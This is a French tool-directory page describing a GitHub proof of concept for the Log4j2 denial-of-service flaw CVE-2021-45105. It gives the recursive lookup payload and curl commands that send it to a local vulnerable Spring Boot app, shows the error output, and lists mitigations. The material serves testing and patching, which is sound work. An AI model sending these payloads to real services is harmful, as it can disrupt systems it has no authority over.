Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Log4j_dos_CVE-2021-45105 — Exploit PoC pour CVE-2021-45105 (Log4j2 DOS) avec une application web Spring Boot, démontrant une boucle infinie via des charges utiles d'en-tête/corps HTTP fabriquées. | Kitploit
Outils/GitHubGitHub/cckuailong/log4j_dos_cve-2021-45105
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'Intrusion
GitHubcckuailong/log4j_dos_cve-2021-45105

Log4j_dos_CVE-2021-45105

Exploit PoC pour CVE-2021-45105 (Log4j2 DOS) avec une application web Spring Boot, démontrant une boucle infinie via des charges utiles d'en-tête/corps HTTP fabriquées.

Voir le dépôt
131il y a 4 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Log4j2 DOS (CVE-2021-45105)

Preuve de concept

${${::-${::-$${::-$}}}}

Versions concernées : toutes les versions de 2.0-beta9 à 2.16.0

Cette application est basée sur une application web Spring Boot vulnérable à CVE-2021-45105

Elle utilise Log4j 2.16.0

Exécution de l'application

Exécutez-la :

Import the project in Java IDE as a maven project

Run CVEMainApplication.java as a spring boot app.

Étapes d'exploitation

  • Ensuite, déclenchez l'exploit en utilisant :
For GET ->
curl 127.0.0.1:8080 -H 'X-Api-Version: ${${::-${::-$${::-$}}}}'


For Post request ->
curl --location --request POST 'http://127.0.0.1:8080/addrecord' \
--header 'Content-Type: application/json' \
--data '{
	"clientRef": "${${::-${::-$${::-$}}}}"
}'
  • Remarquez la sortie montrant une boucle infinie, mais lors des tests, il n'a pas été constaté que ce DOS était gourmand en ressources car cette boucle infinie est identifiée par le programme et provoque une erreur :

 ${ctx:apiVersion} ${ctx:clientRef}2021-12-18 14:29:56,759 http-nio-8080-exec-1 ERROR An exception occurred processing Appender Console java.lang.IllegalStateException: Infinite loop in property interpolation of ::-${::-$${::-j}}: :
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.checkCyclicSubstitution(StrSubstitutor.java:1081)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1029)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1042)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:912)
	

Atténuation :

Les utilisateurs de Java 8 (ou version ultérieure) doivent mettre à jour vers la version 2.17.0.

Alternativement, cela peut être atténué dans la configuration :

Dans PatternLayout de la configuration de journalisation, remplacez les Context Lookups comme ${ctx:loginId} ou $${ctx:loginId} par des motifs Thread Context Map (%X, %mdc ou %MDC). Sinon, dans la configuration, supprimez les références aux Context Lookups comme ${ctx:loginId} ou $${ctx:loginId} lorsqu'elles proviennent de sources externes à l'application telles que les en-têtes HTTP ou les entrées utilisateur.

Référence

https://issues.apache.org/jira/browse/LOG4J2-3230

Télécharger l’outil